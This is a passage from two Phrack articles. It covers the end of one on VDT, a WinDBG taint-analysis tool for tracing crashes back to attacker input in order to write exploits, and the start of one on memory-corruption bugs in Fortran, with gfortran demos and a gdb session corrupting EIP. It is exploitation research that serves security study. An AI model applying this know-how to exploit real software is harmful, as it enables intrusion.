|
|
|
|
1-) mov edi, 0x1234 ; dst=edi, src=0x1234
|
|
2-) mov eax, [0xABCD] ; dst=eax, src=ptr 0xABCD
|
|
; Note 0xABCD is evil addr
|
|
3-) lea ebx, [eax+ecx*8] ; dst=ebx, src=eax, srcdep1=ecx
|
|
4-) mov [edi], ebx ; dst=ptr 0x1234, src=ebx
|
|
5-) mov esi, [edi] ; dst=esi, src=ptr 0x1234, srcdep1=edi
|
|
6-) mov edx, [esi] ; Crash!!!
|
|
|
|
The tree will look like:
|
|
|
|
6-) Where does [esi] come from?
|
|
5-) [edi] is moved to esi, where edi comes from and what does exist
|
|
in [edi]?
|
|
4-) [edi] receives ebx and edi is defined in 1-) from a fixed value
|
|
3-) ebx comes from a lea instruction that uses eax and ecx
|
|
2-) eax receives a value controlled by the attacker
|
|
... ecx is out of the scope here :)
|
|
|
|
|
|
|
|
---[ 2.2.1 - From the crash to the exploit
|
|
|
|
In order to compile the provided project, I use Microsoft Visual Studio
|
|
2008 for the GUI and the command line for the debugger extension (don't
|
|
forget to install the debugger extension SDK [19]).
|
|
|
|
To compile the applications, go to the sources directory and open the
|
|
Project in Visual Studio.
|
|
|
|
The GUI is compiled using the project build, the dll is compiled through
|
|
the command line:
|
|
|
|
- Open the DOS prompt
|
|
- Execute:
|
|
|
|
Cmd.exe /k C:\WinDDK\7600.16385.0\bin\setenv.bat \
|
|
C:\WinDDK\7600.16385.0\ chk WNET
|
|
|
|
- Then go to the directory VDT-Tracer and execute:
|
|
|
|
setpaths.cmd
|
|
|
|
- On some systems you will need to open the makefile file (just
|
|
open and close):
|
|
|
|
edit makefile
|
|
|
|
- Then, just compile:
|
|
|
|
bcz
|
|
|
|
- Copy the library from bin\i386\vdt-tracer.dll
|
|
to your WinDBG extensions directory
|
|
|
|
|
|
Attached to the article there is an Excel file for a problem discovered by
|
|
accident two years ago (the problem was discovered during a Forensic
|
|
Analysis by a friend of mine, who after recovering an Excel Spreadsheet
|
|
noticed that Excel was crashing when trying to open it).
|
|
The name of the file is FIL573.XLS.
|
|
|
|
The problem was fixed more than a year ago, but it is useful to illustrate
|
|
the steps taken in order to use this project. As mentioned, I'm not going
|
|
to discuss the analysis step, but I'll just show how to get the tool to
|
|
work... the rest is up to you!
|
|
|
|
First, open excel, and attach to it using WinDBG [Figure
|
|
WinDBG_Attaching_to_Excel]. Add a breakpoint in the CreateFile [Figure
|
|
WinDBG_Breakpoint_CreateFile].
|
|
|
|
Start the tracing process [Figure WinDBG_Trace_VDT].
|
|
|
|
Open the crash file withing Excel [Figure Opening_Crash_File_Excel].
|
|
|
|
Using an hex editor (in my case I used the xvi32) open the file and try to
|
|
locate a string that you can search in the program's memory, to determine
|
|
where the file was loaded [Figure Finding_User_Input_in_Memory].
|
|
|
|
Using the searching capabilities of WinDBG, locate such string in the
|
|
program's memory [Figure WinDBG_Finding_User_Input_in_Memory].
|
|
|
|
Open the trace file in the GUI [Figure VDT_Open_Trace_File] and add a taint
|
|
range like in [Figure VDT_Add_Taint_Range] and
|
|
[Figure VDT_Add_Taint_Range2].
|
|
|
|
Now everything is ready, and you will have the taint analysis of the
|
|
instructions you are interested of, related to the range of memory you just
|
|
specified.
|
|
|
|
Click with the right button in any instruction [Figure VDT_Check_Taint_Of],
|
|
see the Check Taint Of option [Figure VDT_Check_Taint_Of2]. It is going to
|
|
offer the taint information for all applicable operands
|
|
[VDT_Check_Taint_Of3].
|
|
|
|
|
|
------[ 3 - Existent solutions and comparisions
|
|
|
|
|
|
Microsoft Research released the !exploitable [3] extension for Microsoft
|
|
Debugger and its source code. This is a great initiative and contributed a
|
|
lot for the growing number of cooperation between researchers and the
|
|
software industry (since now the vendors can at least classify the
|
|
exploitability of each reported vulnerability). Although it fails in many
|
|
cases to classify the exploitability, it provides a good
|
|
extensibility support and is a good start point in this initiative.
|
|
It is important to note as well that a good aim of the tool is to identify
|
|
unique bugs, eliminating duplicated issues.
|
|
|
|
A simple example of the problem of such approach is:
|
|
|
|
_declspec(naked) int main() {
|
|
_asm {
|
|
mov eax, 0x41414141
|
|
call eax
|
|
}
|
|
}
|
|
|
|
This is incorrectly classified as EXPLOITABLE because the tool always
|
|
assumes that the attacker has control over all the input operands
|
|
[Figure bangexploitablefp.jpg].
|
|
This is not the case in the example. The provided solution in
|
|
this article differs from that, since instead of trying to classify the
|
|
exploitability, I try to save researcher time while analyzing
|
|
vulnerabilities and determining exactly that limitation: Are the input
|
|
operands in control of the attacker?
|
|
|
|
So, to resume, bang exploitable (!exploitable) objectives are:
|
|
|
|
- Classify unique issues (crashs appearing through different code
|
|
paths, machines involved in testing, and in multiple different
|
|
test cases)
|
|
- Quickly prioritize issues (since crashes appear in thousands,
|
|
while analysis capabilities are VERY limited)
|
|
- Grouping the crashes for analysis
|
|
|
|
And the provided tool objective is:
|
|
|
|
- Helping you to create the exploit code :)
|
|
|
|
Piotr Bania released a paper about an architecture for similar analysis,
|
|
providing more advanced cases called Spiderpig [20]. The Spiderpig project
|
|
is not available for testing, making it impossible to create a fair comparision.
|
|
In Piotr's paper, he explains the Virtual Code Integration (or Dynamic Binary
|
|
Rewriting) approach. Some of the techniques used in the 'intermediate
|
|
language representation' phases are also adopted in the provided tool, in a
|
|
different way (there is no intermediate language, but a normalized output
|
|
of the execution trace). Spiderpig has ways to solve specific conflicts
|
|
in partially controlled data, creating what he named a disputable object.
|
|
In those objects, parent objects are also available for analysis.
|
|
After reviewing the provided algorithms in the article Spiderpig seems to be
|
|
much more advanced than the provided tool, but as said, is not available.
|
|
|
|
Taint Check [21] is dependent of DynamicRIO or Valgrind and is an extension
|
|
to provide taint analysis in order to detect overflow conditions in tested
|
|
software. It does not help in the exploit-creation phase, neither to
|
|
determine the actual exploitability of an issue. It is divided in the
|
|
taint-seed, taint-tracker and taint-assert, with the purpose of defining
|
|
original tainted values (values comming from the network for example),
|
|
track the propagation and alert about security violations respectively.
|
|
Because they provide a solution for security-tests I decided to also
|
|
include a heap-monitoring example tool with this article. This tool aims
|
|
at solving the challenge of heap tests for embedded Linux architectures
|
|
using ARM (much less advanced then the Valgrind Memcheck plugin,
|
|
altought the only option for ARM as far as the author is aware).
|
|
|
|
The solution provided here started when I first faced the problem of
|
|
exploiting a complex client-side vulnerability, involving a very complex
|
|
(and at that time closed) file format. It was later expanded when I saw
|
|
the results of attacking scenarios against Word [1] and started to think
|
|
how to automate the analysis in order to determine the exploitability.
|
|
|
|
My initial version was integrated with a fuzzer to provide internal
|
|
information and feed back the fuzzer in order to have better coverage of
|
|
the critical parts of the software [22]. It was unix based and
|
|
later ported to cover Solaris too, in order to exploit two vulnerabilities
|
|
released by Secunia [23] in the same software where RISE Security found a
|
|
vulnerability some months before.
|
|
|
|
Because a good friend of mine was doing research in the same area, and had
|
|
good experience with the Microsoft Debugger, we decided to integrate our
|
|
implementations and create the final version provided here. I keep
|
|
expanding this version since then and using in my work and personal
|
|
projects.
|
|
|
|
The biggest difference here is that we provide the backward Taint Analysis
|
|
in order to help the exploitation process, which means we focus in
|
|
determining what the attacker controls from the crash back to the input
|
|
data.
|
|
|
|
|
|
------[ 4 - Future and other uses
|
|
|
|
I can't foresee the future. I hope that more researchers are going to
|
|
contribute with the project, helping it to grow and achieve maturity.
|
|
|
|
The code needs immediate support for extended coverage of x86 instructions,
|
|
speed enhancements, introduction of heuristical detection over user input
|
|
(so you don't need to manually specify the memory ranges to watch).
|
|
|
|
I'm sure many other uses are possible, and for sure I do expect some
|
|
extensions to come.
|
|
|
|
The original idea was based on Valgrind and REX intermediate language. The
|
|
available version is based on Microsoft Debugger (but really tight to it
|
|
due to the limited amount of time to create the project).
|
|
|
|
A limitation of such approach is the fact that you need the PoC to trace
|
|
the execution until the crash, and then to analyzed it backwards. If your
|
|
PoC is not taking a specific execution path that gives you control over some
|
|
specific memory areas, the analysis will say you don't control such memory
|
|
areas. The tool does not try to find other ways to get control over areas
|
|
that you need, it only provides you the information if you control or not
|
|
such areas based on the executed PoC.
|
|
|
|
There are other areas of interest, like heap viewing [24]. A
|
|
heap view example for linux arm is also available with the article and
|
|
future versions on Sourceforge [25].
|
|
|
|
Also, the integration with fuzzers [22]
|
|
is an interesting approach to provide better ways to find security
|
|
vulnerabilities.
|
|
|
|
|
|
------[ 5 - Acknowledgments
|
|
A lot of people helped me in the long way for these researches that
|
|
resulted in something interesting (at least to me) to be published, you all
|
|
know who you are.
|
|
|
|
The biggest thanks goes to Julio Auto, for helping me with the tools and
|
|
for having the motivation to go present alone [26] while I was still
|
|
fighting to get permissions to release everything in my personal name.
|
|
|
|
Special tks to the Phrack Staff for the great review of the article, giving
|
|
a lot of important insights about how to better structure it and giving a
|
|
real value to it.
|
|
|
|
I'll never ever forget to say thanks to my research team and friends at
|
|
RISE Security (http://www.risesecurity.org) for always keeping me motivated
|
|
studying completely new things.
|
|
|
|
Conference organizers who invited me to talk about Software Exploitation,
|
|
even after many people already talked about the subject they trusted that my
|
|
talk was not more of the same.
|
|
|
|
It's impossible to not say thanks to COSEINC, an amazing place for hackers
|
|
to work and which provided me lots of motivation to keep my projects going
|
|
on my free time.
|
|
|
|
A big thanks goes to Check Point Software Technologies, for paying me to
|
|
keep doing my hobby ;)
|
|
|
|
|
|
------[ 6 - References
|
|
[1] Nagy, Ben. "Finding Microsoft Vulnerabilities by Fuzzing Binary. Files
|
|
with Ruby - A New Fuzzing Framework";
|
|
Syscan 2009
|
|
|
|
[2] Miller, Charlie. "Babysitting an Army of Monkeys: An analysis of fuzzing
|
|
4 products with 5 lines of Python"; Cansecwest 2010
|
|
http://securityevaluators.com/files/slides/cmiller_CSW_2010.ppt
|
|
|
|
[3] Microsoft !exploitable page
|
|
http://msecdbg.codeplex.com
|
|
|
|
[4] Abouchaev, Adel; Hasse, Damian; Lambert, Scott; Wroblewski, Greg.
|
|
"Analyze crashes to find security vulnerabilities in your apps"
|
|
|
|
[5] Barbosa, Edgar. "Taint Analysis"; H2HC 2009
|
|
http://www.h2hc.com.br/repositorio/2009/Edgar.pdf
|
|
|
|
[6] Chow, Jin. "Understanding data lifetime via whole system emulation";
|
|
Usenix 2004
|
|
|
|
[7] Denning, Dorothy; Denning, Peter. "Certification of Programs for Secure
|
|
Information Flow"
|
|
|
|
[8] Klee Project
|
|
http://keeda.stanford.edu/wiki/klee-install
|
|
|
|
[9] Godefroid, Patrice; Levin, Michael; Molnar, David. "Automated Whitebox
|
|
Fuzz Testing"
|
|
http://research.microsoft.com/en-us/projects/atg/ndss2008.pdf
|
|
|
|
[10] Molnar, David; Wagner, David. "Catchconv: Symbolic execution and
|
|
run-time type inference for integer conversion errors"
|
|
|
|
[11] Wille, Andre; Drechsler, Daniel. "Evaluation of SAT like Proof
|
|
Techniques for Formal Verification of Word Level Circuits
|
|
|
|
[12] de Moura, Leonardo; Bjorner, Nikolaj. "Z3: An Efficient SMT Solver"
|
|
|
|
[13] Z3 Project - Microsoft Research
|
|
http://research.microsoft.com/en-us/um/redmond/projects/z3/
|
|
|
|
[14] ERESI Project
|
|
http://www.eresi-project.org/
|
|
|
|
[15] Valgrind Project
|
|
http://www.valgrind.org
|
|
|
|
[16] Porst, Sebastian. "Applications of the Reverse Engineering Language
|
|
REIL"
|
|
http://www.h2hc.com.br/repositorio/2009/Sebastian.pdf
|
|
|
|
[17] Intel Manual
|
|
http://www.intel.com/software/products/documentation/vlin/mergedprojects/an
|
|
alyzer_ec/mergedprojects/reference_olh/mergedProjects/instructions/instruct
|
|
32_hh/vc42.htm
|
|
|
|
[18] BFS algorithm
|
|
http://en.wikipedia.org/wiki/Breadth-first_search
|
|
|
|
[19] Microsoft Debugger SDK
|
|
http://www.microsoft.com/whdc/devtools/debugging/default.mspx
|
|
|
|
[20] Bania, Piotr. "Dynamic Data Flow Analysis via Virtual Code
|
|
Integration (aka The SpiderPig case)"
|
|
http://piotrbania.com/all/spiderpig/pbania-spiderpig2008.pdf
|
|
|
|
[21] Newsome, James; Song, Dawn. "Dynamic Taint Analysis for Automatic
|
|
Detection, Analysis, and Signature Generation of Exploits on Commodity
|
|
Software"
|
|
http://valgrind.org/docs/newsome2005.pdf
|
|
|
|
[22] Branco, Rodrigo. "Letting your fuzzer know about target's internals"
|
|
http://www.troopers10.org
|
|
|
|
[23] Secunia Advisory SA32473. "Sun Solaris Sadmin Two Vulnerabilities"
|
|
http://secunia.com/advisories/32473/
|
|
|
|
[24] Core Security Technologies. "Heap Draw / Heap Tracer"
|
|
http://oss.coresecurity.com/projects/heapdraw.html
|
|
|
|
[25] JFree Project
|
|
http://www.sf.net/projects/jfree
|
|
|
|
[26] Auto, Julio. "Triaging Bugs with Dynamic
|
|
Dataflow Analysis" .Source Barcelona 2009
|
|
www.julioauto.com/presentations/sourcebcn09_TBwDDA.ppt
|
|
|
|
|
|
------[ 7 - Sources [vdt_jfree.tgz]
|
|
|
|
---------------------------------------------------------------------------
|
|
Attached to the article there is:
|
|
- VDT Project: The main project cited in the article, it is a
|
|
Microsoft Debugger extension and a GUI used to analyze crash files in order
|
|
to create an exploit code
|
|
- Jfree project: It is a Linux-ARM Heap Monitoring System created
|
|
long ago and also available at [25]
|
|
- Images directory: Some screenshots of the program and plugin of
|
|
the VDT Project.
|
|
|
|
Further updates will be available in the RISE Security website at:
|
|
http://www.risesecurity.org
|
|
|
|
For the author's public key:
|
|
http://www.kernelhacking.com/rodrigo/docs/public.txt
|
|
|
|
--------[ EOF
|
|
|
|
==Phrack Inc.==
|
|
|
|
Volume 0x0e, Issue 0x43, Phile #0x0b of 0x10
|
|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=--------=[ Exploiting memory corruptions in Fortran programs ]=--------=|
|
|
|=--------=[ under UNIX/VMS ]=--------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=-------------------------=[ by Magma /FHC ]=--------------------------=|
|
|
|=------------------------=[ magma@phrack.org ]=-------------------------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|
|
---
|
|
|
|
"aka hacking Fortran for kiddos"
|
|
|
|
---
|
|
|
|
--[ Contents
|
|
|
|
1 - Introduction
|
|
1.1 - A Fortran tale
|
|
1.2 - Who cares about Fortran anyway?
|
|
|
|
2 - A short introduction to the language basics
|
|
2.1 - An overview of Fortran syntax
|
|
2.2 - Hey Gramps, what's the difference between F77 and F2008?
|
|
|
|
3 - Memory corruption with gfortran
|
|
3.1 - Buffer overflows
|
|
3.2 - The number-related issues
|
|
3.3 - The POINTER abuse
|
|
3.4 - Other interesting bugs
|
|
|
|
4 - Back to the good ol' OpenVMS friend
|
|
4.1 - Common Fortran bugs .VS. OpenVMS
|
|
4.2 - Playing with the heap
|
|
|
|
5 - Prevention: lets use a condom
|
|
|
|
6 - The final words
|
|
|
|
7 - Greetz
|
|
|
|
8 - Bibliography
|
|
|
|
---
|
|
|
|
---[ 1 - Introduction
|
|
|
|
|
|
---[ 1.1 - A Fortran tale
|
|
|
|
Fortran -FORmula TRANslation- is one of the oldest high level programming
|
|
language ever created. Being well aware of the fact that youngsters aren't
|
|
interested anymore in history, I'll go straight to the point.
|
|
|
|
Fortran is .NOT. (yet) dead (though 'perforated cards' hackers probably
|
|
are). Not only did it remain actively used in the very underground
|
|
scientific/banking sectors but it also evolved to the point where it got
|
|
its last update in 2008. Hey son, you didn't know that, did you?
|
|
|
|
Now if you ever took Fortran classes in college/university then there is a
|
|
good chance that your teacher voluntary missed a few things as Fortran is
|
|
generally taught as a procedural programming language for beginners. As
|
|
such, you might have been asked to program some crappy math oriented
|
|
program with basic features and never really got the chance to play with
|
|
the interesting features of the language.
|
|
|
|
Fortran was once an old fashioned language with limited features and boring
|
|
syntax constraints. Forget about all that. Nowadays Fortran includes modern
|
|
features such as dynamic allocation and MPI which make it suitable for
|
|
implementing both complex algorithms and parallel computing. Now add that
|
|
to the fact that modern compilers exist for almost all common operating
|
|
systems and that they produce high-lol-ly efficient code which can be
|
|
linked to C and even Java programs. You can also use GTK or OpenGL if you
|
|
wish. You're impressed kid, I can see that in your eyes.
|
|
|
|
@(*_*)@
|
|
|
|
---[ 1.2 - Who cares about Fortran anyway?
|
|
|
|
Well I do and let me tell you why you should too:
|
|
|
|
a. It may not be too good looking at first but at least it's way sexier
|
|
than COBOL.
|
|
b. Your father was programming in Fortran using perforated cards and got
|
|
headaches doing so. Sounds like a cool subject in family diner.
|
|
c. Vintage web is the best. Just try typing Fortran in google to admire
|
|
beautiful and authentic Web 0.1 HTML.
|
|
d. Wikipedia tells us that "It is one of the most popular languages in
|
|
the area of high-performance computing and is the language used for
|
|
programs that benchmark and rank the world's fastest supercomputers."
|
|
We should always believe wikipedia.
|
|
e. You mastered tabs in python and couldn't think of new ways to be cool
|
|
on BBS^H^H^HIRC? Well then try to master Fortran 77's indentation
|
|
constraints. You might even be able to impress chicks. It used to
|
|
work almost forty years ago (.OR. .NOT.).
|
|
|
|
Still not convinced? OK so what if Fortran programs were used in strategic
|
|
areas you've only heard of? What if Fortran programs were more buggy [R1]
|
|
than they seemed? What if you could exploit some appropriate bug in a
|
|
Fortran program and then own the _whole_ _damn_ _world_? That would be
|
|
extraordinary, wouldn't it? Well cool down man that would also remain a
|
|
dream :>
|
|
|
|
---
|
|
|
|
---[ 2 - A short introduction to the language basics
|
|
|
|
In order to properly understand the paper, you'll need the basics in
|
|
Fortran programming. Since Fortran 77 (F77) isn't used anymore, the article
|
|
is focused on F90 (Fortran 90) whose syntax mostly remained compatible
|
|
throughout the different revisions of the standard. Specific features added
|
|
by Fortran 95 (F95) up to Fortran 2008 (F2008) are discussed in Chap 2.2
|
|
though not really _that_ interesting in the context of this paper. You can
|
|
easily skip the aforementioned explanation.
|
|
|
|
|
|
---[ 2.1 - An overview of Fortran syntax
|
|
|
|
Fortran is a procedural compiled language whose syntax is quite easy to
|
|
learn albeit sometimes not intuitive. Let's begin with the traditional
|
|
'Hello World':
|
|
|
|
-----BEGIN EXAMPLE 1-----
|
|
$ cat ex1.f90
|
|
! Dummy comment
|
|
PROGRaM EX1 [L1]
|
|
CHARACTER(len=20) :: hellostr='Hello World!' [L2]
|
|
write(*,fmt='(A)') hellOstr [L3]
|
|
END PROGRAM [L4]
|
|
$ gfortran ex1.f90
|
|
$ ./a.out
|
|
Hello World!
|
|
$
|
|
-----END EXAMPLE 1-----
|
|
|
|
*) '!' marks the beginning of a comment.
|
|
|
|
*) A Fortran program is divided in several blocks. [L1] declares the
|
|
beginning of the PROGRAM (the MAIN_() function) and requires the
|
|
according 'END' in [L4]. Other types of blocks include FUNCTION and
|
|
SUBROUTINE, the difference between them being essentially whether or
|
|
not they return a value.
|
|
|
|
Note: This language keywords are case insensitive as shown in [L1].
|
|
|
|
*) Variables are declared at the beginning of the blocks and are also
|
|
case insensitive ([L2] vs [L3]) and preceded by a type. According to
|
|
the ISO standard [R2], F90 defines five intrinsic types being:
|
|
INTEGER, REAL, COMPLEX, CHARACTER and LOGICAL.
|
|
|
|
An intrinsic type can optionally been followed by a 'type parameter'
|
|
which can either be 'len' or 'kind'. 'len' allows the programmer to
|
|
specify how much bytes is required to store the variable for a
|
|
CHARACTER and so is 'kind' for INTEGER, REAL and LOGICAL types.
|
|
|
|
Contrary to the C language, there is a difference between strings and
|
|
character arrays but both are related to the CHARACTER type:
|
|
|
|
CHARACTER(len=1) :: array(20) ! 20 bytes array
|
|
CHARACTER(len=20) :: string ! 20 bytes string
|
|
|
|
*) read() and write() are the common input/output functions used to read
|
|
and write files. Amongst the possible parameter, you can specify how
|
|
to format the variable. The code in [L3] is equivalent to the C line:
|
|
printf("%s\n", hellOstr);
|
|
|
|
Now let's see a more advanced example:
|
|
|
|
-----BEGIN EXAMPLE 2-----
|
|
$ cat ex2.f90
|
|
SUBROUTINE add(I,J)
|
|
IMPLICIT NONE [L1]
|
|
INTEGER(2) :: I [L2]
|
|
INTEGER(2) :: J
|
|
I = I + J
|
|
END SUBROUTINE
|
|
|
|
PROGRAM EX2
|
|
CHARACTER(len=20), PARAMETER :: s = & [L3]
|
|
'p67 will be the best.'
|
|
INTEGER*2 :: I = Z'FF' [L4]
|
|
write(*,*) '[1] Before add(), I = ', I
|
|
CALL add(I,1)
|
|
write(*,*) '[2] After add(), I = ', I
|
|
END PROGRAM
|
|
$ gfortran ex2.f90
|
|
$ ./a.out
|
|
[1] Before add(), I = 255
|
|
[2] After add(), I = 256 [L5]
|
|
$
|
|
-----END EXAMPLE 2-----
|
|
|
|
L1) By default a few variables do not need to be explicitly declared.
|
|
According to Chap 5.3 of [R2], variables I to N are integers, while
|
|
other variables are typed REAL. The directive 'IMPLICIT NONE'
|
|
forbids this behavior and forces the programmer to properly declare
|
|
every variable.
|
|
|
|
L2) I and J are both signed integers stored on 2 bytes ('short' type in
|
|
C language).
|
|
|
|
L3) Lines can be truncated using the '&' special character. PARAMETER is
|
|
used to declare the variable as a constant.
|
|
|
|
L4) You can initialize the variables in base 8 ('O'), 16 ('Z') and even
|
|
base 2 ('B').
|
|
|
|
L5) When calling functions and subroutines (which from an asm point of
|
|
view is the same), then arguments are passed by reference contrary
|
|
to the C where arguments are passed by value.
|
|
|
|
|
|
---[ 2.2 - Hey Gramps, what's the difference between F77 and F2008?
|
|
|
|
First of all, know that F77 is not the first Fortran at all but rather the
|
|
ancestor of F90. It can be seen as the skeleton of the actual "modern"
|
|
language. Decades after decades, the ISO published several revisions of the
|
|
language to bring new functionalities while sometimes deleting ones. For us
|
|
hackers, there is almost no impact except that the newer the language, the
|
|
higher the chance to find bugs thanks to dangerous and misused extensions.
|
|
|
|
Anyway you should nonetheless be aware of the following -important-
|
|
differences between the revisions:
|
|
|
|
*) Fortran 90 brought the POINTER object and the ability to dynamically
|
|
allocate objects. It also made possible the recursion. This
|
|
particular feature won't be discussed in this paper.
|
|
|
|
*) "Varying character strings" appeared in Fortran 95. This interesting
|
|
functionality can potentially reduce the risks of bugs induced by the
|
|
need to copy a buffer into another one (remember that strings have a
|
|
fixed len in Fortran). Fortunately some compilers don't support it
|
|
yet (like gfortran) and a lot of programmers aren't even aware of its
|
|
existence.
|
|
|
|
*) Fortran 2003 was designed to allow object oriented programming but
|
|
frankly speaking, we don't care at all. More interesting are the
|
|
IEEE floating point arithmetic and the so-called procedure pointers.
|
|
|
|
Note that we had to wait 2003 to get a language being able to deal
|
|
with command line arguments and environment variables. _ridiculous_
|
|
|
|
*) Fortran 2008 introduced the parallel processing ability in the
|
|
language. This will not discussed.
|
|
|
|
OK enough with the chitchat, let's move on.
|
|
|
|
---
|
|
|
|
---[ 3 - Memory corruption with gfortran
|
|
|
|
This part introduces the more common bugs that you may encounter while
|
|
auditing/writing Fortran code. While it is essentially focused on gfortran
|
|
(a GCC extension [R3]), the OpenVMS Fortran compiler [R4] will be discussed
|
|
in part 4. This will allow us to make at least partial generalisation of
|
|
what kind of bugs are likely to be found & exploited in the wild.
|
|
|
|
People accustomed to Fortran programming already know that Fortran is about
|
|
dealing with numbers (one of the main advantages of Fortran). As a result
|
|
it seems that interesting inputs will be the ones related to number
|
|
manipulation/conversion and string parsing. Now Gramps will show you a few
|
|
things that might interest you.
|
|
|
|
|
|
---[ 3.1 - Buffer overflows
|
|
|
|
Obviously the buffer overflow is the first type of bug that comes to mind
|
|
when one wants to trigger a bug related to strings/buffers. Luckily, they
|
|
also exist in Fortran but only in situations where the compiler was not
|
|
able to deter them. That would be:
|
|
|
|
*) when the user is able to manipulate an index which will be used to
|
|
access an array or a string. Due to the index provided by the user,
|
|
the compiler is not able to detect the potential memory corruptions
|
|
during the compilation.
|
|
|
|
*) when the user is implicitly or explicitly changing the type of an
|
|
object passed by reference to the function.
|
|
|
|
The index manipulation
|
|
----------------------
|
|
|
|
Contrary to other languages, Fortran is not able to properly handle invalid
|
|
memory access on runtime. In fact, if an index is out of scope, Fortran
|
|
will not see it and a memory corruption might appear.
|
|
|
|
Let's see using this tiny string manipulation example:
|
|
|
|
-----BEGIN OVERFLOW 1-----
|
|
$ cat overflow1.f90
|
|
PROGRAM test
|
|
CHARACTER(len=30) :: S ! String of length 30
|
|
INTEGER(4) I
|
|
|
|
S = 'Hello Phrack readers!'
|
|
read(*,*) I
|
|
S(I:I) = '.'
|
|
write(*,*) S
|
|
END PROGRAM
|
|
$ gfortran overflow1.f90
|
|
$ ./a.out
|
|
3
|
|
He.lo Phrack readers! <-- S was modified with 0x2E
|
|
$ gdb ./a.out
|
|
[...]
|
|
0x080487be <+186>: mov BYTE PTR [ebp+eax*1-0x2b],0x2e
|
|
; This is the memory write
|
|
; Do we really control eax?
|
|
[...]
|
|
(gdb) b *0x080487be
|
|
Breakpoint 1 at 0x80487be
|
|
(gdb) r
|
|
Starting program: a.out
|
|
50 <-- 50 is clearly out of scope! (>30)
|
|
|
|
Breakpoint 1, 0x080487be in MAIN__ ()
|
|
(gdb) print /d $eax
|
|
$1 = 50
|
|
(gdb) c
|
|
Hello Phrack readers!
|
|
|
|
Program received signal SIGSEGV, Segmentation fault.
|
|
0x2e04885b in ?? () <-- EIP was corrupted with 0x2E
|
|
-----END OVERFLOW 1-----
|
|
|
|
This short example is sufficient to prove that (at least with gfortran)
|
|
there is no runtime check at all. If the user is controlling the index used
|
|
to access a string then it's probably all over. There are two things worth
|
|
to note:
|
|
|
|
*) We tricked an out-of-bound memory write due to string manipulation
|
|
but this could very well have been the same thing with any array
|
|
(REAL, INTEGERS, CHARACTERS, etc.)
|
|
|
|
*) Due to the fact that the INTEGER type is 'signed', we are equally
|
|
able to write both before and after the buffer. Depending on the
|
|
situation this might be extremely useful. For example while it's
|
|
usually more interesting to write past the buffer when it's located
|
|
on the stack, writing before it (underflow) might be handy when it's
|
|
located on the heap. Of course that will depend on the situation.
|
|
|
|
Explicit typing of function parameters
|
|
------------------------------------
|
|
|
|
A short example is better than confusing explanations:
|
|
|
|
-----BEGIN CAST 1-----
|
|
$ cat cast1.f90
|
|
SUBROUTINE dump(S)
|
|
INTEGER(4) :: S
|
|
write(*,fmt='(Z10)') S
|
|
END SUBROUTINE
|
|
|
|
PROGRAM CAST
|
|
CHARACTER(len=6) :: S
|
|
S='ABCDEF'
|
|
CALL dump(S)
|
|
END PROGRAM
|
|
$ gfortran cast1.f90
|
|
$ ./a.out
|
|
44434241
|
|
-----END CAST 1-----
|
|
|
|
So we first declare S as a string in the MAIN_ and then call the dump()
|
|
subroutine, S being the argument. Inside dump(), the parameter is declared
|
|
as an INTEGER which results in the appropriate printing. The fact that the
|
|
compiler doesn't check types can lead to very interesting situations:
|
|
|
|
*) when the size of S object in dump() is known at compile time and
|
|
different of the original one.
|
|
|
|
*) when the size of S object in dump() is controlled by the user.
|
|
|
|
The first case will lead to a memory corruption if the size of the argument
|
|
in the function is superior to its real size due to argument being passed
|
|
by reference. The following code is for example incorrect and will lead to
|
|
a program crash:
|
|
|
|
-----BEGIN CAST 2-----
|
|
$ cat cast2.f90
|
|
SUBROUTINE dump(S)
|
|
CHARACTER(len=20) :: S
|
|
S = 'AAAA'
|
|
END SUBROUTINE
|
|
PROGRAM cast2
|
|
CHARACTER(len=10) :: X
|
|
X = 'ZZZZZZZZZZZ'
|
|
CALL dump(X)
|
|
END PROGRAM
|
|
$ gfortran ./cast2.f90
|
|
$ ./a.out
|
|
Segmentation fault
|
|
-----END CAST 2-----
|
|
|
|
What's happening? 'AAAA' is supposed to be shorter than 'ZZZZZZZZZZZ' so
|
|
why is there a crash? Well S = 'AAAA' means the initialisation of S which
|
|
ultimately results in the 4 first characters being set to 'A' and the other
|
|
16 ones to ' ' (space).
|
|
|
|
But remember that parameters are passed by reference in Fortran so whatever
|
|
the size of S during the execution of dump(), the size of the real object
|
|
is 10 bytes. In other words, 20 bytes were copied on a 10 bytes buffer. Due
|
|
to the very nature of this bug, it's quite unlikely to find it in the wild.
|
|
However a much more vicious variant with 'implicit typing' is described
|
|
later.
|
|
|
|
Note: If the size of the argument in the function is actually shorter and
|
|
number-related then it may leads to a truncation bug (discussed in Chap
|
|
3.2).
|
|
|
|
Now one could imagine a second case where the programmer is providing the
|
|
size of S as an argument (which is of course a bad practice in Fortran).
|
|
The following code is perfectly legal:
|
|
|
|
-----BEGIN CAST 3-----
|
|
$ cat cast3.f90
|
|
SUBROUTINE dump(S,L)
|
|
INTEGER(4) :: L
|
|
CHARACTER(len=L) :: S ! size is a runtime parameter
|
|
S='AAAA'
|
|
END SUBROUTINE
|
|
PROGRAM cast2
|
|
CHARACTER(len=10) :: X
|
|
X = 'ZZZZZZZZZZ'
|
|
CALL dump(X,100)
|
|
write(*,*) X
|
|
END PROGRAM
|
|
$ gfortran cast3.f90
|
|
$ ./a.out
|
|
10
|
|
AAAA
|
|
$ ./a.out
|
|
200
|
|
AAAA
|
|
Segmentation fault
|
|
$
|
|
-----END CAST 3-----
|
|
|
|
For a couple of seconds we could be tempted to think that it's a situation
|
|
similar to the one described in [R5] but that would only be true if there
|
|
were a stack allocation. In fact once again the bug is triggered by the
|
|
initialisation of the string. Because of the explicit typing of S, the
|
|
compiler is assuming that S really has a len of L and if L > 10 then a
|
|
memory corruption occurs.
|
|
|
|
Implicit typing
|
|
---------------
|
|
|
|
In the life-time of a program, declaring variables every time can be boring
|
|
especially when the use of these variables is limited (consider a DO loop
|
|
variable for example). Because of that, Fortran designers created a rule of
|
|
implicit declaration. As a result in Fortran you can use a few variables
|
|
without declaring them which for us hackers can be really cool as it can
|
|
have side effects. Here is a tiny buggy example:
|
|
|
|
-----BEGIN IMPLICIT TYPE 1-----
|
|
$ cat implicit_typing1.f90
|
|
SUBROUTINE set(I)
|
|
write(*,*) 'How much do u want to read dude ?'
|
|
read(*,*) I [L3]
|
|
END SUBROUTINE
|
|
|
|
PROGRAM IMPLICIT_TYPING
|
|
IMPLICIT NONE
|
|
INTEGER(1) :: A, B [L1]
|
|
